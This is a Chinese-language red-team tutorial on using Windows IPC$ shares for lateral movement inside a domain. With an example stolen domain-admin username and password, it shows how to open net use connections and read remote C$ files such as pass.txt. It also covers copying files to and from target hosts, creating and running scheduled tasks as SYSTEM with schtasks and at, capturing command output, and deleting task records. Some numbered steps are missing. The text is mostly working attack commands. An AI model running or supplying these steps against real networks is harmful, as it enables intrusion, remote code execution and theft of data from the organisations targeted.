0x01. 什么是IPC
IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源使用
简单理解:可以访问目标机器上的文件(上传、下载),也可以在目标标机器上运行命令
上传和下载文件直接通过 copy 命令就可以,不过路径缓存 UNC 路径
什么是UNC路径?就是以 \ 开头的路径就是UNC路径,比如:\\10.10.10.10\c$\users
0x02. IPC的利用条件
开启了139、445端口
ipc$
可以实现远程登录及对默认共享资源的访问,而139端⼝的开启表示NetBIOS协议的应用
通过139、445端口可以实现对共享文件/打印机的访问。⼀般来讲IPC$
需要139、445端口的支持
管理员开启了默认共享
默认共享是为了⽅便管理员进⾏远程管理⽽默认开启的,包括所有的逻辑盘(c$,d$,e$
)等,和系统目录winnt或windows(admin$
)。通过IPC$可以实现对这些默认共享⽬录的访问
0x03. 为什么选择IPC渗透
1、远程登录桌面会增加暴露风险
2、目标管理员可能对服务器禁用远程登录
0x04. IPC 在内网渗透中的利用
在这里假设我们获取到了⼀个域管理员的账户和密码:
user : redteam\saul
pass : admin!@#45
接下来演示⼀下通过此账号密码来利用 IPC 完成各个操作
1、建立 IPC 连接(查看、上传、下载操作)
假设我们获取到了 win7(10.10.10.7) 机器的权限,想要通过命令行对 win_server2008(10.10.10.8) 机器进行操作
1)建立 IPC连接:
net use \\10.10.10.8 /u:redteam\saul admin!@#45
2)删除 IPC 连接:
net use \\10.10.10.8 /de /y
net view \\10.10.10.8
dir \\10.10.10.12\c$
type \\10.10.10.12\c$\pass.txt
6)上传文件到目标 C 盘
比如我们桌面有一个文件,上传到目标桌面,命令如下:
copy 要上传的⽂件名 \\10.10.10.8\c$\
copy C:\Users\saul\Desktop\1.txt \\10.10.10.8\c$\Users\Administrator\Desktop\
7)下载目标 C 盘桌面下的 pass.txt 文件
下载文件我们也可以通过 copy 命令来完成:
copy \\10.10.10.8\c$\Users\Administrator\Desktop\flag.txt
/S : 指定连接到的计算机或IP地址,默认本机
/u [<Domain>\]<UserName> : 指定使⽤哪个⽤户执⾏这个命令
/P [password] : 为指定的⽤户指定密码。
例:tasklist /S 10.10.10.8 /U redteam\administrator /P Admin12345!
9)查看远程主机的时间
有的时候我们想要在远程主机上执行定时任务,这个时候就需要知道目标主机的时间,这样就⽅便定时任务的执行
net time \\10.10.10.8
10)高版本下的机器运行计划任务执行命令:schtasks
schtasks 命令允许管理员创建、删除、查询、更改、运行和终止本地或远程系统上的计划任务。
在 Windows 2008 及之后使用!
例:在目标主机win_server2008(10.10.10.8) 中创建⼀个计划任务名为 test,并且以 system 身份每分钟运行⼀次1.txt
1、创建计划任务
schtasks /create /tn test /U redteam\saul /P admin!@#45 /tr "c:\1.txt" /sc MINUTE /mo 1 /s 10.10.10.8 /RU system
2、执⾏计划任务
schtasks /run /tn test /s 10.10.10.8 /U redteam\saul /P admin!@#45
3、删除计划任务
schtasks /F /delete /tn test /s 10.10.10.8 /U redteam\saul /P admin!@#45
目标机器已在后台运行!
在任务计划程序中也可以看到
11)低版本下的机器运行计划任务执行命令:AT
AT命令是Windows XP中内置的命令,它也可以媲美Windows中的“计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强⼤更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序
AT 命令在 Windows 2008 以下的操作系统内置,例如 Windows 2003
在使用 at 命令在远程机器上创建计划任务之前,需要使使用net use 命令建立ipc$:
#查看⽬标系统时间
net time \\10.10.10.8
#将⽂件复制到⽬标系统中
copy calc.bat \\10.10.10.8\c$
#使⽤at创建计划任务
at \\10.10.10.8 5:20PM C:\calc.bat
#清除at记录
at \\10.10.10.8 ID /delete
已成功添加运行
2. at 命令还可以利用 cmd 执行命令并把结果返回到⼀个文本里
# 使⽤cmd执⾏命令:
at \\10.10.10.8 5:40PM cmd.exe /c "ipconfig >C:/3.txt"
# type读取⽂本
type \\10.10.10.8\C$\3.txt